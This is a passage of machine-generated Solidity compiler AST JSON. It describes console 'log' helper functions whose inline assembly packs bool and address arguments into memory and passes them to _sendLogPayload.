iveSrc":"173372:11:22","nodeType":"YulFunctionCall","src":"173372:11:22"},"variableNames":[{"name":"m0","nativeSrc":"173366:2:22","nodeType":"YulIdentifier","src":"173366:2:22"}]},{"nativeSrc":"173396:17:22","nodeType":"YulAssignment","src":"173396:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"173408:4:22","nodeType":"YulLiteral","src":"173408:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"173402:5:22","nodeType":"YulIdentifier","src":"173402:5:22"},"nativeSrc":"173402:11:22","nodeType":"YulFunctionCall","src":"173402:11:22"},"variableNames":[{"name":"m1","nativeSrc":"173396:2:22","nodeType":"YulIdentifier","src":"173396:2:22"}]},{"nativeSrc":"173426:17:22","nodeType":"YulAssignment","src":"173426:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"173438:4:22","nodeType":"YulLiteral","src":"173438:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"173432:5:22","nodeType":"YulIdentifier","src":"173432:5:22"},"nativeSrc":"173432:11:22","nodeType":"YulFunctionCall","src":"173432:11:22"},"variableNames":[{"name":"m2","nativeSrc":"173426:2:22","nodeType":"YulIdentifier","src":"173426:2:22"}]},{"nativeSrc":"173456:17:22","nodeType":"YulAssignment","src":"173456:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"173468:4:22","nodeType":"YulLiteral","src":"173468:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"173462:5:22","nodeType":"YulIdentifier","src":"173462:5:22"},"nativeSrc":"173462:11:22","nodeType":"YulFunctionCall","src":"173462:11:22"},"variableNames":[{"name":"m3","nativeSrc":"173456:2:22","nodeType":"YulIdentifier","src":"173456:2:22"}]},{"nativeSrc":"173486:17:22","nodeType":"YulAssignment","src":"173486:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"173498:4:22","nodeType":"YulLiteral","src":"173498:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"173492:5:22","nodeType":"YulIdentifier","src":"173492:5:22"},"nativeSrc":"173492:11:22","nodeType":"YulFunctionCall","src":"173492:11:22"},"variableNames":[{"name":"m4","nativeSrc":"173486:2:22","nodeType":"YulIdentifier","src":"173486:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"173584:4:22","nodeType":"YulLiteral","src":"173584:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"173590:10:22","nodeType":"YulLiteral","src":"173590:10:22","type":"","value":"0xf4880ea4"}],"functionName":{"name":"mstore","nativeSrc":"173577:6:22","nodeType":"YulIdentifier","src":"173577:6:22"},"nativeSrc":"173577:24:22","nodeType":"YulFunctionCall","src":"173577:24:22"},"nativeSrc":"173577:24:22","nodeType":"YulExpressionStatement","src":"173577:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"173621:4:22","nodeType":"YulLiteral","src":"173621:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"173627:2:22","nodeType":"YulIdentifier","src":"173627:2:22"}],"functionName":{"name":"mstore","nativeSrc":"173614:6:22","nodeType":"YulIdentifier","src":"173614:6:22"},"nativeSrc":"173614:16:22","nodeType":"YulFunctionCall","src":"173614:16:22"},"nativeSrc":"173614:16:22","nodeType":"YulExpressionStatement","src":"173614:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"173650:4:22","nodeType":"YulLiteral","src":"173650:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"173656:2:22","nodeType":"YulIdentifier","src":"173656:2:22"}],"functionName":{"name":"mstore","nativeSrc":"173643:6:22","nodeType":"YulIdentifier","src":"173643:6:22"},"nativeSrc":"173643:16:22","nodeType":"YulFunctionCall","src":"173643:16:22"},"nativeSrc":"173643:16:22","nodeType":"YulExpressionStatement","src":"173643:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"173679:4:22","nodeType":"YulLiteral","src":"173679:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"173685:2:22","nodeType":"YulIdentifier","src":"173685:2:22"}],"functionName":{"name":"mstore","nativeSrc":"173672:6:22","nodeType":"YulIdentifier","src":"173672:6:22"},"nativeSrc":"173672:16:22","nodeType":"YulFunctionCall","src":"173672:16:22"},"nativeSrc":"173672:16:22","nodeType":"YulExpressionStatement","src":"173672:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"173708:4:22","nodeType":"YulLiteral","src":"173708:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"173714:2:22","nodeType":"YulIdentifier","src":"173714:2:22"}],"functionName":{"name":"mstore","nativeSrc":"173701:6:22","nodeType":"YulIdentifier","src":"173701:6:22"},"nativeSrc":"173701:16:22","nodeType":"YulFunctionCall","src":"173701:16:22"},"nativeSrc":"173701:16:22","nodeType":"YulExpressionStatement","src":"173701:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39414,"isOffset":false,"isSlot":false,"src":"173366:2:22","valueSize":1},{"declaration":39417,"isOffset":false,"isSlot":false,"src":"173396:2:22","valueSize":1},{"declaration":39420,"isOffset":false,"isSlot":false,"src":"173426:2:22","valueSize":1},{"declaration":39423,"isOffset":false,"isSlot":false,"src":"173456:2:22","valueSize":1},{"declaration":39426,"isOffset":false,"isSlot":false,"src":"173486:2:22","valueSize":1},{"declaration":39404,"isOffset":false,"isSlot":false,"src":"173627:2:22","valueSize":1},{"declaration":39406,"isOffset":false,"isSlot":false,"src":"173656:2:22","valueSize":1},{"declaration":39408,"isOffset":false,"isSlot":false,"src":"173685:2:22","valueSize":1},{"declaration":39410,"isOffset":false,"isSlot":false,"src":"173714:2:22","valueSize":1}],"id":39428,"nodeType":"InlineAssembly","src":"173343:384:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39430,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"173752:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":39431,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"173758:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":39429,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"173736:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39432,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"173736:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39433,"nodeType":"ExpressionStatement","src":"173736:27:22"},{"AST":{"nativeSrc":"173782:156:22","nodeType":"YulBlock","src":"173782:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"173803:4:22","nodeType":"YulLiteral","src":"173803:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"173809:2:22","nodeType":"YulIdentifier","src":"173809:2:22"}],"functionName":{"name":"mstore","nativeSrc":"173796:6:22","nodeType":"YulIdentifier","src":"173796:6:22"},"nativeSrc":"173796:16:22","nodeType":"YulFunctionCall","src":"173796:16:22"},"nativeSrc":"173796:16:22","nodeType":"YulExpressionStatement","src":"173796:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"173832:4:22","nodeType":"YulLiteral","src":"173832:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"173838:2:22","nodeType":"YulIdentifier","src":"173838:2:22"}],"functionName":{"name":"mstore","nativeSrc":"173825:6:22","nodeType":"YulIdentifier","src":"173825:6:22"},"nativeSrc":"173825:16:22","nodeType":"YulFunctionCall","src":"173825:16:22"},"nativeSrc":"173825:16:22","nodeType":"YulExpressionStatement","src":"173825:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"173861:4:22","nodeType":"YulLiteral","src":"173861:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"173867:2:22","nodeType":"YulIdentifier","src":"173867:2:22"}],"functionName":{"name":"mstore","nativeSrc":"173854:6:22","nodeType":"YulIdentifier","src":"173854:6:22"},"nativeSrc":"173854:16:22","nodeType":"YulFunctionCall","src":"173854:16:22"},"nativeSrc":"173854:16:22","nodeType":"YulExpressionStatement","src":"173854:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"173890:4:22","nodeType":"YulLiteral","src":"173890:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"173896:2:22","nodeType":"YulIdentifier","src":"173896:2:22"}],"functionName":{"name":"mstore","nativeSrc":"173883:6:22","nodeType":"YulIdentifier","src":"173883:6:22"},"nativeSrc":"173883:16:22","nodeType":"YulFunctionCall","src":"173883:16:22"},"nativeSrc":"173883:16:22","nodeType":"YulExpressionStatement","src":"173883:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"173919:4:22","nodeType":"YulLiteral","src":"173919:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"173925:2:22","nodeType":"YulIdentifier","src":"173925:2:22"}],"functionName":{"name":"mstore","nativeSrc":"173912:6:22","nodeType":"YulIdentifier","src":"173912:6:22"},"nativeSrc":"173912:16:22","nodeType":"YulFunctionCall","src":"173912:16:22"},"nativeSrc":"173912:16:22","nodeType":"YulExpressionStatement","src":"173912:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39414,"isOffset":false,"isSlot":false,"src":"173809:2:22","valueSize":1},{"declaration":39417,"isOffset":false,"isSlot":false,"src":"173838:2:22","valueSize":1},{"declaration":39420,"isOffset":false,"isSlot":false,"src":"173867:2:22","valueSize":1},{"declaration":39423,"isOffset":false,"isSlot":false,"src":"173896:2:22","valueSize":1},{"declaration":39426,"isOffset":false,"isSlot":false,"src":"173925:2:22","valueSize":1}],"id":39434,"nodeType":"InlineAssembly","src":"173773:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"173173:3:22","parameters":{"id":39411,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39404,"mutability":"mutable","name":"p0","nameLocation":"173182:2:22","nodeType":"VariableDeclaration","scope":39436,"src":"173177:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39403,"name":"bool","nodeType":"ElementaryTypeName","src":"173177:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39406,"mutability":"mutable","name":"p1","nameLocation":"173191:2:22","nodeType":"VariableDeclaration","scope":39436,"src":"173186:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39405,"name":"bool","nodeType":"ElementaryTypeName","src":"173186:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39408,"mutability":"mutable","name":"p2","nameLocation":"173203:2:22","nodeType":"VariableDeclaration","scope":39436,"src":"173195:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":39407,"name":"address","nodeType":"ElementaryTypeName","src":"173195:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":39410,"mutability":"mutable","name":"p3","nameLocation":"173215:2:22","nodeType":"VariableDeclaration","scope":39436,"src":"173207:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":39409,"name":"address","nodeType":"ElementaryTypeName","src":"173207:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"173176:42:22"},"returnParameters":{"id":39412,"nodeType":"ParameterList","parameters":[],"src":"173233:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39470,"nodeType":"FunctionDefinition","src":"173950:774:22","nodes":[],"body":{"id":39469,"nodeType":"Block","src":"174016:708:22","nodes":[],"statements":[{"assignments":[39448],"declarations":[{"constant":false,"id":39448,"mutability":"mutable","name":"m0","nameLocation":"174034:2:22","nodeType":"VariableDeclaration","scope":39469,"src":"174026:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39447,"name":"bytes32","nodeType":"ElementaryTypeName","src":"174026:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39449,"nodeType":"VariableDeclarationStatement","src":"174026:10:22"},{"assignments":[39451],"declarations":[{"constant":false,"id":39451,"mutability":"mutable","name":"m1","nameLocation":"174054:2:22","nodeType":"VariableDeclaration","scope":39469,"src":"174046:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39450,"name":"bytes32","nodeType":"ElementaryTypeName","src":"174046:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39452,"nodeType":"VariableDeclarationStatement","src":"174046:10:22"},{"assignments":[39454],"declarations":[{"constant":false,"id":39454,"mutability":"mutable","name":"m2","nameLocation":"174074:2:22","nodeType":"VariableDeclaration","scope":39469,"src":"174066:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39453,"name":"bytes32","nodeType":"ElementaryTypeName","src":"174066:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39455,"nodeType":"VariableDeclarationStatement","src":"174066:10:22"},{"assignments":[39457],"declarations":[{"constant":false,"id":39457,"mutability":"mutable","name":"m3","nameLocation":"174094:2:22","nodeType":"VariableDeclaration","scope":39469,"src":"174086:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39456,"name":"bytes32","nodeType":"ElementaryTypeName","src":"174086:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39458,"nodeType":"VariableDeclarationStatement","src":"174086:10:22"},{"assignments":[39460],"declarations":[{"constant":false,"id":39460,"mutability":"mutable","name":"m4","nameLocation":"174114:2:22","nodeType":"VariableDeclaration","scope":39469,"src":"174106:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39459,"name":"bytes32","nodeType":"ElementaryTypeName","src":"174106:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39461,"nodeType":"VariableDeclarationStatement","src":"174106:10:22"},{"AST":{"nativeSrc":"174135:372:22","nodeType":"YulBlock","src":"174135:372:22","statements":[{"nativeSrc":"174149:17:22","nodeType":"YulAssignment","src":"174149:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"174161:4:22","nodeType":"YulLiteral","src":"174161:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"174155:5:22","nodeType":"YulIdentifier","src":"174155:5:22"},"nativeSrc":"174155:11:22","nodeType":"YulFunctionCall","src":"174155:11:22"},"variableNames":[{"name":"m0","nativeSrc":"174149:2:22","nodeType":"YulIdentifier","src":"174149:2:22"}]},{"nativeSrc":"174179:17:22","nodeType":"YulAssignment","src":"174179:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"174191:4:22","nodeType":"YulLiteral","src":"174191:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"174185:5:22","nodeType":"YulIdentifier","src":"174185:5:22"},"nativeSrc":"174185:11:22","nodeType":"YulFunctionCall","src":"174185:11:22"},"variableNames":[{"name":"m1","nativeSrc":"174179:2:22","nodeType":"YulIdentifier","src":"174179:2:22"}]},{"nativeSrc":"174209:17:22","nodeType":"YulAssignment","src":"174209:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"174221:4:22","nodeType":"YulLiteral","src":"174221:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"174215:5:22","nodeType":"YulIdentifier","src":"174215:5:22"},"nativeSrc":"174215:11:22","nodeType":"YulFunctionCall","src":"174215:11:22"},"variableNames":[{"name":"m2","nativeSrc":"174209:2:22","nodeType":"YulIdentifier","src":"174209:2:22"}]},{"nativeSrc":"174239:17:22","nodeType":"YulAssignment","src":"174239:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"174251:4:22","nodeType":"YulLiteral","src":"174251:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"174245:5:22","nodeType":"YulIdentifier","src":"174245:5:22"},"nativeSrc":"174245:11:22","nodeType":"YulFunctionCall","src":"174245:11:22"},"variableNames":[{"name":"m3","nativeSrc":"174239:2:22","nodeType":"YulIdentifier","src":"174239:2:22"}]},{"nativeSrc":"174269:17:22","nodeType":"YulAssignment","src":"174269:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"174281:4:22","nodeType":"YulLiteral","src":"174281:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"174275:5:22","nodeType":"YulIdentifier","src":"174275:5:22"},"nativeSrc":"174275:11:22","nodeType":"YulFunctionCall","src":"174275:11:22"},"variableNames":[{"name":"m4","nativeSrc":"174269:2:22","nodeType":"YulIdentifier","src":"174269:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"174364:4:22","nodeType":"YulLiteral","src":"174364:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"174370:10:22","nodeType":"YulLiteral","src":"174370:10:22","type":"","value":"0xc0a302d8"}],"functionName":{"name":"mstore","nativeSrc":"174357:6:22","nodeType":"YulIdentifier","src":"174357:6:22"},"nativeSrc":"174357:24:22","nodeType":"YulFunctionCall","src":"174357:24:22"},"nativeSrc":"174357:24:22","nodeType":"YulExpressionStatement","src":"174357:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"174401:4:22","nodeType":"YulLiteral","src":"174401:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"174407:2:22","nodeType":"YulIdentifier","src":"174407:2:22"}],"functionName":{"name":"mstore","nativeSrc":"174394:6:22","nodeType":"YulIdentifier","src":"174394:6:22"},"nativeSrc":"174394:16:22","nodeType":"YulFunctionCall","src":"174394:16:22"},"nativeSrc":"174394:16:22","nodeType":"YulExpressionStatement","src":"174394:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"174430:4:22","nodeType":"YulLiteral","src":"174430:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"174436:2:22","nodeType":"YulIdentifier","src":"174436:2:22"}],"functionName":{"name":"mstore","nativeSrc":"174423:6:22","nodeType":"YulIdentifier","src":"174423:6:22"},"nativeSrc":"174423:16:22","nodeType":"YulFunctionCall","src":"174423:16:22"},"nativeSrc":"174423:16:22","nodeType":"YulExpressionStatement","src":"174423:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"174459:4:22","nodeType":"YulLiteral","src":"174459:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"174465:2:22","nodeType":"YulIdentifier","src":"174465:2:22"}],"functionName":{"name":"mstore","nativeSrc":"174452:6:22","nodeType":"YulIdentifier","src":"174452:6:22"},"nativeSrc":"174452:16:22","nodeType":"YulFunctionCall","src":"174452:16:22"},"nativeSrc":"174452:16:22","nodeType":"YulExpressionStatement","src":"174452:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"174488:4:22","nodeType":"YulLiteral","src":"174488:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"174494:2:22","nodeType":"YulIdentifier","src":"174494:2:22"}],"functionName":{"name":"mstore","nativeSrc":"174481:6:22","nodeType":"YulIdentifier","src":"174481:6:22"},"nativeSrc":"174481:16:22","nodeType":"YulFunctionCall","src":"174481:16:22"},"nativeSrc":"174481:16:22","nodeType":"YulExpressionStatement","src":"174481:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39448,"isOffset":false,"isSlot":false,"src":"174149:2:22","valueSize":1},{"declaration":39451,"isOffset":false,"isSlot":false,"src":"174179:2:22","valueSize":1},{"declaration":39454,"isOffset":false,"isSlot":false,"src":"174209:2:22","valueSize":1},{"declaration":39457,"isOffset":false,"isSlot":false,"src":"174239:2:22","valueSize":1},{"declaration":39460,"isOffset":false,"isSlot":false,"src":"174269:2:22","valueSize":1},{"declaration":39438,"isOffset":false,"isSlot":false,"src":"174407:2:22","valueSize":1},{"declaration":39440,"isOffset":false,"isSlot":false,"src":"174436:2:22","valueSize":1},{"declaration":39442,"isOffset":false,"isSlot":false,"src":"174465:2:22","valueSize":1},{"declaration":39444,"isOffset":false,"isSlot":false,"src":"174494:2:22","valueSize":1}],"id":39462,"nodeType":"InlineAssembly","src":"174126:381:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39464,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"174532:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":39465,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"174538:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":39463,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"174516:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39466,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"174516:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39467,"nodeType":"ExpressionStatement","src":"174516:27:22"},{"AST":{"nativeSrc":"174562:156:22","nodeType":"YulBlock","src":"174562:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"174583:4:22","nodeType":"YulLiteral","src":"174583:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"174589:2:22","nodeType":"YulIdentifier","src":"174589:2:22"}],"functionName":{"name":"mstore","nativeSrc":"174576:6:22","nodeType":"YulIdentifier","src":"174576:6:22"},"nativeSrc":"174576:16:22","nodeType":"YulFunctionCall","src":"174576:16:22"},"nativeSrc":"174576:16:22","nodeType":"YulExpressionStatement","src":"174576:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"174612:4:22","nodeType":"YulLiteral","src":"174612:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"174618:2:22","nodeType":"YulIdentifier","src":"174618:2:22"}],"functionName":{"name":"mstore","nativeSrc":"174605:6:22","nodeType":"YulIdentifier","src":"174605:6:22"},"nativeSrc":"174605:16:22","nodeType":"YulFunctionCall","src":"174605:16:22"},"nativeSrc":"174605:16:22","nodeType":"YulExpressionStatement","src":"174605:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"174641:4:22","nodeType":"YulLiteral","src":"174641:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"174647:2:22","nodeType":"YulIdentifier","src":"174647:2:22"}],"functionName":{"name":"mstore","nativeSrc":"174634:6:22","nodeType":"YulIdentifier","src":"174634:6:22"},"nativeSrc":"174634:16:22","nodeType":"YulFunctionCall","src":"174634:16:22"},"nativeSrc":"174634:16:22","nodeType":"YulExpressionStatement","src":"174634:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"174670:4:22","nodeType":"YulLiteral","src":"174670:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"174676:2:22","nodeType":"YulIdentifier","src":"174676:2:22"}],"functionName":{"name":"mstore","nativeSrc":"174663:6:22","nodeType":"YulIdentifier","src":"174663:6:22"},"nativeSrc":"174663:16:22","nodeType":"YulFunctionCall","src":"174663:16:22"},"nativeSrc":"174663:16:22","nodeType":"YulExpressionStatement","src":"174663:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"174699:4:22","nodeType":"YulLiteral","src":"174699:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"174705:2:22","nodeType":"YulIdentifier","src":"174705:2:22"}],"functionName":{"name":"mstore","nativeSrc":"174692:6:22","nodeType":"YulIdentifier","src":"174692:6:22"},"nativeSrc":"174692:16:22","nodeType":"YulFunctionCall","src":"174692:16:22"},"nativeSrc":"174692:16:22","nodeType":"YulExpressionStatement","src":"174692:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39448,"isOffset":false,"isSlot":false,"src":"174589:2:22","valueSize":1},{"declaration":39451,"isOffset":false,"isSlot":false,"src":"174618:2:22","valueSize":1},{"declaration":39454,"isOffset":false,"isSlot":false,"src":"174647:2:22","valueSize":1},{"declaration":39457,"isOffset":false,"isSlot":false,"src":"174676:2:22","valueSize":1},{"declaration":39460,"isOffset":false,"isSlot":false,"src":"174705:2:22","valueSize":1}],"id":39468,"nodeType":"InlineAssembly","src":"174553:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"173959:3:22","parameters":{"id":39445,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39438,"mutability":"mutable","name":"p0","nameLocation":"173968:2:22","nodeType":"VariableDeclaration","scope":39470,"src":"173963:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39437,"name":"bool","nodeType":"ElementaryTypeName","src":"173963:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39440,"mutability":"mutable","name":"p1","nameLocation":"173977:2:22","nodeType":"VariableDeclaration","scope":39470,"src":"173972:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39439,"name":"bool","nodeType":"ElementaryTypeName","src":"173972:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39442,"mutability":"mutable","name":"p2","nameLocation":"173989:2:22","nodeType":"VariableDeclaration","scope":39470,"src":"173981:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":39441,"name":"address","nodeType":"ElementaryTypeName","src":"173981:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":39444,"mutability":"mutable","name":"p3","nameLocation":"173998:2:22","nodeType":"VariableDeclaration","scope":39470,"src":"173993:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39443,"name":"bool","nodeType":"ElementaryTypeName","src":"173993:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"173962:39:22"},"returnParameters":{"id":39446,"nodeType":"ParameterList","parameters":[],"src":"174016:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39504,"nodeType":"FunctionDefinition","src":"174730:780:22","nodes":[],"body":{"id":39503,"nodeType":"Block","src":"174799:711:22","nodes":[],"statements":[{"assignments":[39482],"declarations":[{"constant":false,"id":39482,"mutability":"mutable","name":"m0","nameLocation":"174817:2:22","nodeType":"VariableDeclaration","scope":39503,"src":"174809:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39481,"name":"bytes32","nodeType":"ElementaryTypeName","src":"174809:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39483,"nodeType":"VariableDeclarationStatement","src":"174809:10:22"},{"assignments":[39485],"declarations":[{"constant":false,"id":39485,"mutability":"mutable","name":"m1","nameLocation":"174837:2:22","nodeType":"VariableDeclaration","scope":39503,"src":"174829:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39484,"name":"bytes32","nodeType":"ElementaryTypeName","src":"174829:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39486,"nodeType":"VariableDeclarationStatement","src":"174829:10:22"},{"assignments":[39488],"declarations":[{"constant":false,"id":39488,"mutability":"mutable","name":"m2","nameLocation":"174857:2:22","nodeType":"VariableDeclaration","scope":39503,"src":"174849:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39487,"name":"bytes32","nodeType":"ElementaryTypeName","src":"174849:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39489,"nodeType":"VariableDeclarationStatement","src":"174849:10:22"},{"assignments":[39491],"declarations":[{"constant":false,"id":39491,"mutability":"